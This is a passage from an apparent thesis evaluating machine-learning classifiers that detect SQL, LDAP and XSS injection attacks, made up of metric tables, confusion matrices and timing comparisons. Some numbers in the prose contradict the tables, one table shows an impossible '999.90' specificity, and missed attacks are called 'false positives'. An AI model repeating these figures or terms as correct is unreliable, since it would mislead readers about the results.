Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					SQL-i	Benign
99.82	99.50	100	99.72	SQL-i	3599	18
				Benign	0	6433

Table 4.22 SQL-i Support Vector Machine-Polynomial Kernel Classifier Performance

Table 4.22 demonstrates this classifier's performance with regard to examples of real-world attacks. The results are slightly better than those of the linear kernel classifier since the accuracy rate achieved was 99.82% with a 99.80% precision. The confusion matrix demonstrates the classifier's ability to classify benign payloads with high degree of accuracy. Furthermore, from the confusion matrix it can be observed that the number of false positives, representing SQL injections which were classified as benign, was less than that achieved by the SVM with a linear kernel; nevertheless, the fact that there were some does represent a threat to web application security.

4.5.3.3 k-Nearest Neighbours Classifier

The k-Nearest Neighbours classifier was evaluated in relation to distinguishing between SQL injections and benign payloads. The same optimizations as were used when creating the XSS classifier were applied. A five-fold cross validation method was used to evaluate the classifier, and table 4.23 presents the five-fold cross validation results. In addition, Table 4.24 shows the classifier's performance in relation to examples of real-world attacks.

Table 4.23 demonstrates that the classifier achieved an average accuracy 99.77% and an average precision 99.41%. The confusion matrices include both instances

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.80	99.44	100	99.69		SQL-i	Benign
					SQL-i	1424	8
					Benign	0	2589
2nd	99.85	99.58	100	99.76		SQL-i	Benign
					SQL-i	1450	6
					Benign	0	2565
3rd	99.70	99.23	99.93	99.57		SQL-i	Benign
					SQL-i	1433	11
					Benign	1	2576
4th	99.72	99.38	99.86	99.64		SQL-i	Benign
					SQL-i	1454	9
					Benign	2	2556
5th	99.80	99.44	100	99.69		SQL-i	Benign
					SQL-i	1432	8
					Benign	0	2581
Average	99.77	99.41	99.95	99.67			

Table 4.23 SQL-i k-Nearest Neighbours Cross Validation

which were correctly classified and instances which were incorrectly classified. In addition, the confusion matrices highlights the fact that the number of false positive instances is greater than that of false negatives. This indicates that the classifier is able to classify benign instances very well, but its weakness is in the classification of malicious instances.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.78	99.39	100	99.65		SQL-i	Benign
				SQL-i	3595	22
				Benign	0	6433

Table 4.24 SQL-i k-Nearest Neighbours Classifier Performance

Table 4.24 presents the results of a holdout evaluation of the k-Nearest Neighbours classifier; this achieved an accuracy rate of 99.78% and a 99.39% precision rate. The confusion matrix demonstrates the classifier's ability to classify benign payloads entirely correctly, but with errors in the classification of the SQL injections. This represents a potential risk to web applications as the concern is to bar SQL injections, not allowing them to cross into the web application. As long as the number of false positives instances is non-zero, this indicates that the web application can be attacked in this way.

After checking the instances that were incorrectly classified it was found that, most of these were very short and had very few features for the classifier to work on. The instances contained mostly digits.

4.5.3.4 Random Forest Classifier

The random forest classifier was applied to the classification of payloads as either SQL injection or benign payloads. A five-fold cross validation and a holdout process were used to evaluate the classifier. Table 4.25 presents the result of each fold of the cross validation. For the holdout evaluation, the entire training dataset was used to build the classifier and then the entire testing dataset was used to test it. Table 4.26 presents the holdout evaluation results.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.77	99.52	99.86	99.72		SQL-i	Benign
					SQL-i	1477	8
					Benign	1	2535
2nd	99.82	99.51	100	99.72		SQL-i	Benign
					SQL-i	1434	7
					Benign	0	2580
3rd	99.90	99.79	99.93	99.88		SQL-i	Benign
					SQL-i	1453	3
					Benign	1	2564
4th	99.82	99.57	99.92	99.77		SQL-i	Benign
					SQL-i	1409	6
					Benign	1	2605
5th	99.82	99.51	100	99.72		SQL-i	Benign
					SQL-i	1463	5
					Benign	3	2550
Average	99.83	99.58	99.94	99.76			

Table 4.25 SQL-i Random Forest Cross Validation

Table 4.25 presents the results of the cross-validation evaluation for this classifier. This details all five folds. The random forest classifier achieved a high average accuracy of 99.83% and a precision of 99.58%. The confusion matrices give a breakdown of both the correctly and the incorrectly classified instances, and it should be noted that the number of false positives is still larger than the number of false negatives. In terms of security, even with this high accuracy, the web application is still open to attack.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					SQL-i	Benign
99.82	99.50	100	99.72	SQL-i	3599	18
				Benign	0	6433

Table 4.26 SQL-i Random Forest Classifier Performance

Table 4.26 demonstrates the classifier's ability to classify payloads which include examples of real-world attacks. The classifier demonstrated an accuracy rate of 99.79% and 99.41% precision. The confusion matrix illustrates both the correctly and the incorrectly classified instances. From this confusion matrix it can be observed that the number of false positives is high compared to the number of false negatives. This demonstrates that the classifier was able to recognize benign instances very well. However, from a security perspective, the presence of false positives indicates the possibility that SQL injections could be passed to the web application.

4.5.3.5 Neural Network Classifier

The neural network classifier was employed to distinguish between SQL injections and benign payloads. The classifier was evaluated using a five-fold cross validation process and the results of the evaluation are presented in Table 4.27. The holdout method was also used to evaluate the performance of the classifier. The latter evaluation results are given in Table 4.28.

Table 4.27 presents the results, in terms of averages, of the five-fold cross validation. Here, the classifier achieved an accuracy rate of 99.81% and a 99.52% precision. The confusion matrices show that there were both correctly and incorrectly classified instances. Furthermore, false positives are present; this indicates that SQL injections may be allowed to pass to the web application.

Table 4.28 presents the results of the holdout evaluation in relation to this classifier. These results demonstrate the ability of the neural network classifier to distinguish between SQL injections and benign payloads with an accuracy of 99.82% and a precision of 99.50%. The confusion matrix provides a breakdown of both the correctly and the incorrectly classified in stances. It should be noted that the classifier

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.85	99.58	100	99.76		SQL-i	Benign
					SQL-i	1441	6
					Benign	0	2571
2nd	99.85	99.66	99.93	99.80		SQL-i	Benign
					SQL-i	1479	5
					Benign	1	2535
3rd	99.70	99.23	99.93	99.57		SQL-i	Benign
					SQL-i	1435	11
					Benign	1	2571
4th	99.82	99.58	99.93	99.76		SQL-i	Benign
					SQL-i	1437	6
					Benign	1	2575
5th	99.85	99.57	100	99.77		SQL-i	Benign
					SQL-i	1409	6
					Benign	0	2604
Average	99.81	99.52	99.95	99.73			

Table 4.27 SQL-i Neural Network Cross Validation

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.82	99.50	100	99.72		SQL-i	Benign
				SQL-i	3599	18
				Benign	0	6433

Table 4.28 SQL-i Neural Network Classifier Performance

achieved a 100% success rate in terms of classifying benign instances. Moreover, the number of false positives was small compared to the total number of malicious instances.

4.5.3.6 Discussion

In this section, a Support Vector Machine (SVM) with a linear kernel, a SVM with a polynomial kernel, a k-nearest neighbour model, a random forest, and a neural network classifier were all evaluated using both the five-fold cross validation and the holdout methods. All the accuracy and precision results across all the classifiers were greater than 99%, indicating the ability of all these classifiers to distinguish between SQL injections and benign payloads. Three classifier types, support vector machine, random forest and neural network achieved the same accuracy and precision results which are 99.82% and 99.50%; therefore, it is difficult to choose which one of these

to use as a security layer between the user and the web application server. Therefore, a cross validation was used to make a comparison between the classifiers by using a false positive to check the best classifier. When examining the cross validation results of these classifiers, it was observed that the random forest classifier returned the fewest false positives, as this means the highest accuracy and precision rates among other classifiers, as it achieved accuracy 99.83% and precision 99.58%. For this reason, a random forest classifier should be preferred for use as the protection layer for web application.

When comparing Komiya et. al. [108] results using SVM and k-NN, which were the two classifiers shared with this study. It can be observed that this study achieved better results in terms of accuracy and precision rates. Komiya et. al. study achieved the best accuracy rate of 99.16% by using SVM, while this study achieved 99.82%. Komiya et. al. achieved a precision of 98.60%, and this study achieved a precision rate of 99.50%. This indicates the effectiveness of the features in this study and their representation as Boolean better than the method used in the Komiya et. al. study.

Misclassifications which led to the existence of false positives were limited to instances where the payload length was too short (to be classed as malicious), and the payload contained mostly numbers (digits) and did not contain a sufficient number of features which would indicate that it was a SQL injection. After examining the instances manually, they seemed to me to be benign but erroneously labelled by the software which generated them as malicious. These instances were contained in the CSIC 2010 test dataset which was auto generated.

A suggestion for increasing the accuracy of classifiers would be to add more features targeting the detection of SQL injections; these might include features such as the length (of payload), and the percentage of letters and numbers within the payload.

4.5.4 LDAP Classifiers

The datasets the construction of which was shown in Section 3.3.3 were used to train and evaluate the classifiers. A range of classifiers were used to distinguish between

LDAP injections and benign payloads. These classifiers were trained using the non-alphanumeric features listed in Table 3.6, in addition to the LDAP alphanumeric features listed in Table 3.9. These features were the same as those used to distinguish between SQL injections and benign payloads, as these two types of attacks both utilise SQL statements in order to manipulate web applications. The number of features used to train the models was 49. Cross validation and holdout methods were used to evaluate the classifiers' performance.

4.5.4.1 Support Vector Machine - Linear Kernel Classifier

A support vector machine classifier with a linear kernel was employed to distinguish between LDAP injections and benign payloads. A five-fold cross validation was applied in order to evaluate this classifier, and the results yielded by this are presented in Table 4.29; and the holdout evaluation results are presented in Table 4.30.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	98.55	98.79	97.61	99.19		LDAP	Benign
					LDAP	82	1
					Benign	2	123
2nd	99.03	100	97.67	100		LDAP	Benign
					LDAP	84	0
					Benign	2	122
3rd	97.59	98.94	95.91	99.09		LDAP	Benign
					LDAP	94	1
					Benign	4	109
4th	99.03	97.72	100	98.369		LDAP	Benign
					LDAP	86	2
					Benign	0	120
5th	99.03	97.77	100	98.33		LDAP	Benign
					LDAP	88	2
					Benign	1	118
Average	98.65	98.64	98.24	98.99			

Table 4.29 LDAP Support Vector Machine-Linear Kernel Cross Validation

Table 4.29 shows the evaluation results yielded by the cross-validation; these results illustrate the ability of the classifier to distinguish between LDAP injections and benign payloads with an accuracy up to 98.65% and a precision 98.64%. The confusion matrices illustrate both the correctly and the incorrectly classified instances. Moreover, it can be seen that the number of false positives is relatively small and this

shows the effectiveness of the classifier in terms of differentiating between payloads and so providing security.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					LDAP	Benign
99.75	99.56	99.56	99.83	LDAP	229	1
				Benign	1	598

Table 4.30 LDAP Support Vector Machine-Linear Kernel Classifier Performance

Table 4.30 shows the holdout evaluation results which in relation to a simulation of real world attacks; the classifier achieved a 99.75% accuracy and a 99.56% precision rate. The confusion matrix shows that misclassifications are very few in number as there is just one instance of a false positive and one of a false negative. After examining the instances that were incorrectly classified, it could be seen that the malicious instance that was classified as benign did not contain any alphanumeric features relating to a LDAP injection. The benign instance that was classified as malicious had two words only, along with a multiplication sign, and did not contain any features indicating an LDAP injection.

4.5.4.2 Support Vector Machine - Polynomial Kernel Classifier

A SVM classifier with a polynomial kernel was created with the task of distinguishing between LDAP injections and benign payloads in mind. A five-fold cross validation was used to evaluate the classifier; Table 4.31 presents the evaluation results. Moreover, a classifier of the same type was created using the entire training dataset in order to evaluate the performance of such a classifier using the holdout method. Table 4.32 presents the results of the classifier performance evaluation.

Table 4.31 presents the evaluation results yielded by the cross validation process. These results demonstrate that this classifier has the ability to distinguish between payloads with an accuracy of 99.13% and a precision of 99.16%. The confusion matrices examine the nature of both the correctly, and the incorrectly, classified instances. From this confusion matrices it can be observed that there are a few false positives, though the classifier's ability to classify benign instances is very strong.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.03	100	97.80	100		LDAP	Benign
					LDAP	89	0
					Benign	2	117
2nd	100	100	100	100		LDAP	Benign
					LDAP	75	0
					Benign	0	133
3rd	99.51	100	98.86	100		LDAP	Benign
					LDAP	87	0
					Benign	1	120
4th	98.07	96.90	98.94	97.34		LDAP	Benign
					LDAP	94	3
					Benign	1	110
5th	99.03	98.91	98.91	99.13		LDAP	Benign
					LDAP	91	1
					Benign	1	115
Average	99.13	99.16	98.90	99.29			

Table 4.31 LDAP Support Vector Machine-Polynomial Kernel Cross Validation

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.75	99.56	99.56	99.83		LDAP	Benign
				LDAP	229	1
				Benign	1	598

Table 4.32 LDAP Support Vector Machine-Polynomial Kernel Classifier Performance

Table 4.32 shows the evaluation of the classifier's performance with respect to real world attacks - the holdout evaluation method was used for this purpose. The classifier achieved a 99.75% accuracy and a 99.56% precision. The confusion matrix shows the details of the classifications, and it can be noted that the classifier has a good ability to detect LDAP injections. It can also be observed that the numbers of false positives and false negatives were the same as were yielded by the linear kernel classifier. Moreover, the focus is on false positives, and it could be observed that the instance (of misclassification) did not contain any LDAP related features.

4.5.4.3 k-Nearest Neighbours Classifier

A k-Nearest Neighbours classifier was created in order to be employed to distinguish between LDAP injections and benign payloads. For the evaluation of the classifier, the five-fold cross validation method and the holdout method were used. Table 4.33

presents the cross-validation evaluation results, and Table 4.34 presents the result of the holdout evaluation.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	98.55	100	96.73	100		LDAP	Benign
					LDAP	89	0
					Benign	3	116
2nd	99.03	97.33	100	98.51		LDAP	Benign
					LDAP	73	2
					Benign	0	133
3rd	98.55	98.85	97.72	99.16		LDAP	Benign
					LDAP	86	1
					Benign	2	119
4th	98.55	97.93	98.95	98.21		LDAP	Benign
					LDAP	95	2
					Benign	1	110
5th	99.03	98.91	98.91	99.13		LDAP	Benign
					LDAP	91	1
					Benign	1	115
Average	98.75	98.60	98.64	99.00			

Table 4.33 LDAP k-Nearest Neighbours Cross Validation

Table 4.33 presents the five-fold cross validation evaluation results in terms of averages; the classifier achieved an average accuracy of 98.75% and a 98.60% precision. The confusion matrices detail the classifications; the numbers of false positives and false negatives were very low. This indicates the effectiveness of this classifier in terms of detecting LDAP injections.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.75	99.56	99.56	99.83		LDAP	Benign
				LDAP	229	1
				Benign	1	598

Table 4.34 LDAP k-Nearest Neighbours Classifier Performance

Table 4.34 presents the results of the evaluation using the holdout method, of the k-Nearest Neighbours classifier. This demonstrated high efficacy in terms of detecting LDAP injections at a 99.75% accuracy and a 99.56% precision. The confusion matrices detail the classifications and show the numbers of correctly, and incorrectly, classified instances. It should be noted that the numbers of false positives and false negatives are very low. After examining the instances that were incorrectly

classified, it was discovered that the one false positive instance did not contain any of the LDAP related features.

4.5.4.4 Random Forest Classifier

A random forest classifier was created in order that it could then be deployed to distinguish between LDAP injections and benign payloads. A five-fold cross validation was used in order to evaluate the classifier, the results of this evaluation are presented in Table 4.35. Table 4.36 presents the results of the holdout evaluation of this classifier - here the full training dataset was used to train the classifier and then the full testing dataset was used to test it.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	98.55	100	96.73	100		LDAP	Benign
					LDAP	89	0
					Benign	3	116
2nd	98.07	96.00	98.63	97.77		LDAP	Benign
					LDAP	72	3
					Benign	1	132
3rd	99.03	98.85	98.85	99.17		LDAP	Benign
					LDAP	86	1
					Benign	5	120
4th	99.03	97.93	100	98.23		LDAP	Benign
					LDAP	95	2
					Benign	0	111
5th	98.55	96.73	100	97.47		LDAP	Benign
					LDAP	89	3
					Benign	0	116
Average	98.65	97.90	98.84	98.53			

Table 4.35 LDAP Random Forest Cross Validation

Table 4.35 presents the result of the five-fold cross validation; in the course of this, the classifier achieved an average accuracy rate of 98.65%, and a 97.90% precision. The confusion matrices generated detail the classifications and show the number of correctly, and incorrectly, classified instances. Furthermore, these confusion matrices show that the classifier has a good ability to classify LDAP injections. However, a misclassification was observed which led to the classification of a malicious instances as benign. This, from a security perspective, represents a potential risk to web applications.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					LDAP	Benign
99.87	99.56	100	99.83	LDAP	229	1
				Benign	0	599

Table 4.36 LDAP Random Forest Classifier Performance

Table 4.36 presents the results of holdout evaluation of the random forest classifier; these are, in summary, that the classifier's achieved a 99.87% accuracy and a 99.56% precision in terms of its ability to detect LDAP injections.. The confusion matrix generated shows details the classification statistics. Since only one instance was misclassified, this indicates that the classifier could indeed be used as a protection layer for web applications, but there would be a remaining (small) risk of a successful attack.

4.5.4.5 Neural Network Classifier

A Neural network classifier was created so that it could be deployed in order to detect LDAP injections. A five-fold cross validation method was used to evaluate and verify its effectiveness in terms of doing this. Table 4.37 presents the results of this five-fold cross validation evaluation, and Table 4.38 shows the results of the additional, holdout, evaluation.

Table 4.37 presents the results of the five-fold cross validation of this classifier. these show that the classifier achieved an average accuracy of 98.94% and a 98.84% precision. The confusion matrices detail the nature of the correctly, and incorrectly, classified instances across each fold. The number of false positives is small compared to the total number of malicious instances.

Table 4.38 presents the results of the evaluation, using the holdout method, of the neural network classifier. These results show that the classifier was effective in detecting LDAP injections with an accuracy rate of 99.63% and a 99.13% precision rate. The table also presents the confusion matrix that details the nature of the correct and incorrect classification. It can be seen from the confusion matrix that more false positives were returned by this classifier than by any of the other classifiers. After

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	98.07	98.88	96.73	99.13		LDAP	Benign
					LDAP	89	1
					Benign	3	115
2nd	98.55	98.79	97.61	99.19		LDAP	Benign
					LDAP	82	1
					Benign	2	123
3rd	99.03	97.67	100	98.38		LDAP	Benign
					LDAP	84	2
					Benign	0	122
4th	99.51	98.86	100	99.17		LDAP	Benign
					LDAP	87	1
					Benign	0	120
5th	99.51	100	98.93	100		LDAP	Benign
					LDAP	93	0
					Benign	1	114
Average	98.94	98.84	98.65	99.17			

Table 4.37 LDAP Neural Network Cross Validation

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.63	99.13	99.56	99.66		LDAP	Benign
				LDAP	228	2
				Benign	1	598

Table 4.38 LDAP Neural Network Classifier Performance

examining the malicious instances that were classified as benign, it was noted that none of these instances exhibited any of the LDAP related features, but false negative contained a sufficient number of non-alphanumeric features (for it to be considered as possibly malicious).

4.5.4.6 Discussion

All of the classifiers achieved accuracies and precisions of greater than 99%. It is possible to consider any of these classifiers for use as a very proficient system for detecting LDAP injections. Moreover, in all cases, the number of false positives was low compared to the total number of malicious instances. These statistics makes it difficult to choose which classifier to recommend for use as a protection layer for web applications. From observation of the confusion matrices representing the detail of the performance of the classifiers, it can be seen that the best classification results

were obtained from the random forest classifiers since these classified all the benign instances correctly, without any misclassification. All the classifiers returned the same number of false positives. This, quite possibly, makes it the best choice for use as a layer of protection for web applications; although some residual risk (of successful attack) would remain.

Misclassification occurred in the classifiers due to the absence, in the instances, of LDAP alphanumeric features. This issue could be solved by looking further into LDAP injections and defining features that would enable classifiers to better detect attacks. Moreover, the sizes of the training and test datasets used here are small; the classifiers needed more examples in order to cover more of the possibilities that exist in terms of the patterns representing potential attacks.

4.6 Classifiers Timing Performance

Timing is important for choosing a classifier as the protection layer for a web application. For this reason, the timing of classifier performance has been calculated to perform its work in the input classification. The time taken for the classifications will be calculated using five experiments run on a device with the specifications mentioned in Table 4.6. The experiments will be conducted on MatLab and the average time taken for each classifier is recorded.

The focus of this study is on XSS attacks classification. The results of the timing of the classifiers are given in Table 4.39, SQL-i and LDAP classifier timing are included in the table. Timing will be calculated in seconds.

	Folds	SVM-L/Sec	SVM-P/Sec	k-NN/Sec	RF/Sec	NN/Sec
XSS	1st	0.3390	0.1458	8.2673	1.3205	0.2120
	2nd	0.1642	0.1518	7.9295	1.0540	0.2476
	3rd	0.1602	0.1474	8.3736	1.0596	0.1610
	4th	0.1598	0.1559	7.5520	1.0728	0.0837
	5th	0.1748	0.1459	8.6270	1.0419	0.1358
	Avrage	0.1996	**0.1493**	8.1498	1.1097	0.1680

	Folds	SVM-L/Sec	SVM-P/Sec	k-NN/Sec	RF/Sec	NN/Sec
SQL-i	1st	0.0618	0.0056	2.7941	0.5051	0.0658
	2nd	0.0065	0.0052	2.4899	0.4419	0.0339
	3rd	0.0063	0.0088	2.5804	0.4443	0.0330
	4th	0.0057	0.0060	2.4904	0.4426	0.0397
	5th	0.0076	0.0047	3.0381	0.4399	0.0340
	Avrage	0.0176	**0.0061**	2.6786	0.4548	0.0413
LDAP	1st	0.0029	0.0025	0.0387	0.1214	0.1455
	2nd	0.0024	0.0011	0.0290	0.1430	0.0298
	3rd	0.0013	0.0013	0.0170	0.1148	0.0160
	4th	0.0014	0.0017	0.0167	0.1266	0.0127
	5th	0.0015	0.0013	0.0182	0.1383	0.0154
	Avrage	0.0019	**0.0015**	0.0239	0.1288	0.0439

Table 4.39 Timing of Classifiers Performance

From Table 4.39 can be observed that classifiers have high timing performance, SVM and NN complete the testing dataset classification in less than one second. The timing performance rose to 1.11 seconds with the RF classifier. The k-NN classifier gave the highest time which completed the classification in 8.15 seconds, which is multiple times as many than other classifiers. SQL-i and LDAP completed the classification of the testing dataset in a very short time, except for k-NN which took time to classify the SQL injection. The reason k-NN takes a long time to classify new instances is because it does not generalise over data in advance, but it scans the complete training set every time to predict a new instance. Therefore, k-NN takes time for classification.

4.7 Summary

In this chapter, the construction of the classifiers has been discussed, and an explanation of the parameters that were used for such construction. In addition, the

evaluation methods that were used to evaluate classifiers were described, as well as the criteria in relation to which the results were analysed. Furthermore, the initial results related to the use of the classifiers for detecting XSS attacks, SQL injection, and LDAP injections were presented, and each type of attack was discussed separately. These initial results showed that all the classifiers are highly proficient at detecting attacks against web applications. Moreover, the timing performance was reviewed for each classifier. These results will be compared with the results of the experiments described in the coming chapters in order to demonstrate the advantages (or otherwise) of the methods used to improve classifier performance discussed in this present study.

Chapter 5

Classification of Injection Attacks

5.1 Introduction

In Chapter 4, the performance of the two SVMs, each with a different kernel; k-nearest neighbor; random forest; and the neural network classifiers were demonstrated in terms of them being able to distinguish between malicious and benign instances. Three types of injection attack, i.e., XSS, SQL-i, and LDAP attacks, have been looked at and high accuracy results have been obtained in relation to detecting these - individually for each type of attack. In the current chapter, it will be shown how the same type of classifiers were used to detect injection attacks against web applications, where these classifiers were also responsible for classifying input into one type of attack or another, or as a benign instances. Section 5.2 provides the motivation for creating the multi-class classifiers. Section 5.3 describes the datasets that were used to train and test the multi-class classifiers. Section 5.4 details the features that were used for training the classifiers. Section 5.5 describes the classifiers used. Section 5.6 shows the performance classification performance of each classifier. Section 5.7 provides the processing-time performance of each classifier. Section 5.8 discusses these results alongside suggestions for improving the multi-class classifiers' performance. Section 5.9 Summarizes what has been demonstrated in this chapter.

5.2 Motivation

Multi-class classifiers were recommended for the task which is focused on here because these classifiers have achieved high accuracy and precision in the detection of XSS, SQL-i, and LDAP attacks separately. Hence the idea of using the same classifiers for classifying all the attacks together. The aim of the investigation is to ensure that the features that are extracted, as shown in section 3.5, work well in combination and so enable the classification of all the types of attacks. Furthermore, to ensure that classifiers rely on non-alphanumeric features as the basis for the classification of certain types of attack characterized by such features – XSS, SQL-i and LDAP – such features are specifically included.

5.3 Multi-Class Datasets

The dataset has been created with a specific purpose in mind - the investigation of the performance of classifiers; hence, the instances in Tables 3.2, 3.3, and 3.4 were combined with each other to create a dataset containing XSS, SQL-i, LDAP, and benign instances. This combined dataset contains 26,672 malicious instances and 48,571 benign instances. It was divided into two datasets: one for training and the other for testing purposes. The training dataset contains 12,825 malicious instances, including 5,150 XSS attacks and 7,235 SQL-I, and 440 LDAP injections; this is in addition to 27,442 benign instances. The testing dataset contains 13,847 malicious instances, including 10,000 XSS attacks and 3,617 SQL-i, and 230 LDAP injections; this is in addition to 21,129 benign instances. Table 5.1 summarizes the multi-class datasets.

	Malicious	Benign
Training	12,825	27,442
Testing	13,847	21,129

Table 5.1 Multi-Class Datasets

5.4 Multi-Class Features

For the purposes of training a classifier to recognize injection types, all the features in Tables 3.6, 3.7, 3.8, and 3.9 were applied in combination; 80 features were used in the total. The state-of-the-art method is to rely on the non-alphanumeric features, as described in Section 3.5.1.1, as the basis for classification. This is because these features are very likely to be involved in attacks against Web applications. They are likely to be present in XSS scripts, and may be found in combination with SQL statements and LDAP terms. Special features for each type of attack were added, including combinations of non-alphanumeric features, and specific keywords associated with a particular type of attack. Hence, all types of injection attack features have been included.

5.5 Multi-Class Classifiers

In order to examine the performance of classifiers in relation to the classification of injection types, the following types of classifier have been used: support vector machine, one with a linear, and one with a polynomial kernel; k-nearest neighbour, random forest; and neural network. The same classifier optimizations as described in Section 4.3 were used without any change in terms of parameters. The reason for this was to yield a fair comparison between multi-class classifiers and individual classifiers. All the classifiers will be trained using a training dataset containing 80 features, and then tested, in terms of their performance, using the testing dataset.

5.6 Multi-Class Results

This section exhibits the results as regards the classifiers' performance in relation to distinguishing between injection types. The classifiers' performance were evaluated in terms of accuracy, precision, sensitivity, and specificity as related to each type of attack. The confusion matrix obtained details these classification results; note that the primary interest is in obtaining as few false positives as possible. From a security

standpoint, instances classified as benign may be the most dangerous in fact. The results for each classifier are illustrated separately in the discussion below.

5.6.1 Support Vector Machine - Linear Kernel Results

A support vector machine with a linear kernel was trained using the training dataset, it was then tested using the testing dataset. The same optimizations that were set out in Chapter 4 have been used here without any changes.

	XSS	SQL-i	LDAP	Benign	Confusion Matrix				
						XSS	SQL-i	LDAP	Benign
Accuracy	99.55				XSS	9976	0	0	24
Precision	99.76	97.65	89.56	99.89	SQL-i	0	3532	2	83
Sensitivity	99.94	99.10	99.03	99.44	LDAP	2	12	206	10
Specificity	99.98	99.72	99.93	99.83	Benign	3	20	0	21105

Table 5.2 SVM-L Multi-Classification Performance

From Table 5.2, it can be seen that the SVM-L achieved an accuracy rate of 99.55% in terms of distinguishing between injection types. There was no improvement in the precision rate relating to XSS only, where the multi-class classifier achieved a 99.76% precision as compared to the single classifier which achieved 99.89%. Furthermore, there was a decline in terms of all the other evaluation criteria across all the other injection types. The reason for the increased misclassification rates is that the SQL statements are similar to LDAP queries, resulting in a poor differentiation between SQL and LDAP injections. This can be observed from the confusion matrix where XSS instances are not misclassified as any other injection type whereas with the remaining types of injections some instances were misclassified as of the other type.

5.6.2 Support Vector Machine - Polynomial Kernel Results

The performance of the support vector machine with a polynomial kernel classifier was investigated, it was trained using the training dataset, and the same optimizations were applied as before.

	XSS	SQL-i	LDAP	Benign	Confusion Matrix				
						XSS	SQL-i	LDAP	Benign
Accuracy	99.31				XSS	9869	0	0	131
Precision	98.96	98.34	96.95	99.80	SQL-i	0	3557	2	58
Sensitivity	99.66	99.63	98.67	99.10	LDAP	1	5	223	1
Specificity	99.86	99.80	99.97	99.70	Benign	32	8	1	21087

Table 5.3 SVM-P Multi-Classification Performance

Table 5.3 shows the results of the SVM-P classifier; this achieved a 99.31% accuracy rate. The evaluation criteria shows that the performance of this multi-class classifier does not represent an improvement over that of any of the relevant single-class classifiers: the precision rate relating to the XSS and SQL-i instances has decreased; the single-class classifier achieved better results. The single-class XSS classifier achieved a 99.16% precision compared to the 98.16% precision attained by the multi-class classifier. From the confusion matrix, it is clear that the number of instances that were classified as benign when they were not was higher here than with the support vector machine with a linear kernel. This result is unacceptable even though the precision rate is higher. Similarly, the single-class SQL-i classifier achieved a 99.50% precision; this is clearly a great deal better than 98.34% attained by the multi-class classifier. In terms of LDAP, there was an increase in the precision rate, achieved by the multi-class classifier. This achieved 99.95% as compared with the precision rate of 99.56% attained by the single-class classifier. Notably, the numbers of instances classified as benign examples of SQL-i and LDAP are lower than were yielded by the previous classifier. It can be observed from the confusion matrix that a multi-class classifier is able to classify instances well, but cross-misclassifications in terms of instances of SQL-i and LDAP increase because of the similarities in their structures.

5.6.3 k-Nearest Neighbour Results

k-Nearest Neighbour classifier has been investigated using the same optimization.

Table 5.4 shows that the accuracy of the multi-class k-NN classifier was at a rate of 99.62%. Here, it can be observed that the multi-class classifier and the

	XSS	SQL-i	LDAP	Benign	Confusion Matrix				
						XSS	SQL-i	LDAP	Benign
Accuracy	99.62				XSS	9994	0	0	6
Precision	99.94	99.06	81.30	99.77	SQL-i	0	3583	0	34
Sensitivity	99.56	99.00	100	99.76	LDAP	2	31	187	10
Specificity	99.82	99.89	99.87	99.66	Benign	42	5	0	21081

Table 5.4 k-NN Multi-Classification Performance

single-class XSS classifier achieved the same precision rate of 99.94%, and there was little decrease in sensitivity between the classifiers. On the other hand, there was a decrease in the evaluation criteria as measured in relation to all the remaining injection types. The confusion matrix shows the classifications of the instances. No XSS or SQL instances were misclassified as another type of injections; however, LDAP instances were misclassified, and this included misclassifications into all other types of injections. It can also be seen that the number of XSS and SQL-i instances that were classified as benign is less than was yielded by either support vector machine.

5.6.4 Random Forest Results

The random forest classifier was trained using the training dataset, and then its performance was examined using the testing dataset. The same optimization parameters as were used for this type of classifier before were retained.

	XSS	SQL-i	LDAP	Benign	Confusion Matrix				
						XSS	SQL-i	LDAP	Benign
Accuracy	99.69				XSS	9990	0	0	10
Precision	99.90	99.72	77.39	99.83	SQL-i	0	3607	0	10
Sensitivity	99.89	98.71	99.44	99.77	LDAP	1	24	178	27
Specificity	99.95	99.96	99.85	99.75	Benign	10	23	1	21094

Table 5.5 RF Multi-Classification Performance

Table 5.5 shows the result yielded by the random forest classifier; this achieved an accuracy rate of 99.69%, which is the best accuracy result obtained here from any of the multi-class classifiers. The single-class XSS classifier achieved a better precision rate of 99.96%, as compared to this multi-class classifier which achieved a rate of 99.90%. In the case of SQL-i, the multi-class classifier, in fact, achieved

a better result than the single-class classifier, with a precision rate of 99.72%, as opposed to 99.50% for the single classifier. There is a sharp drop in the precision rate with respect to LDAP injections; here the multi-class classifier achieved a rate of only 77.39% as compared to 99.56% for the single-class classifier. The confusion matrix shows the details of the classification results; it should be noted that, in the cases of XSS and SQL-i, there is no misclassification of instances (in relation to other attack types). Quite the opposite is the case with LDAP; its instances are classified into all types of injections. Note that most of the misclassification occurs between LDAP and SQL-i because of the similarities between these types of injection. It can also be observed that a few XSS and SQL-i instances are misclassified as benign.

5.6.5 Neural Network Results

The neural network classifier was used to classify the injection types, it was trained on the training dataset and then its performance was examined by employing the testing dataset. The classifier was used without any modifications to its parameters.

	XSS	SQL-i	LDAP	Benign	Confusion Matrix				
						XSS	SQL-i	LDAP	Benign
Accuracy	99.49				XSS	9975	2	2	21
Precision	99.75	99.19	71.73	99.72	SQL-i	5	3588	22	2
Sensitivity	99.50	99.08	80.88	99.73	LDAP	16	16	156	33
Specificity	99.79	999.90	99.81	99.57	Benign	29	15	15	21069

Table 5.6 NN Multi-Classification Performance

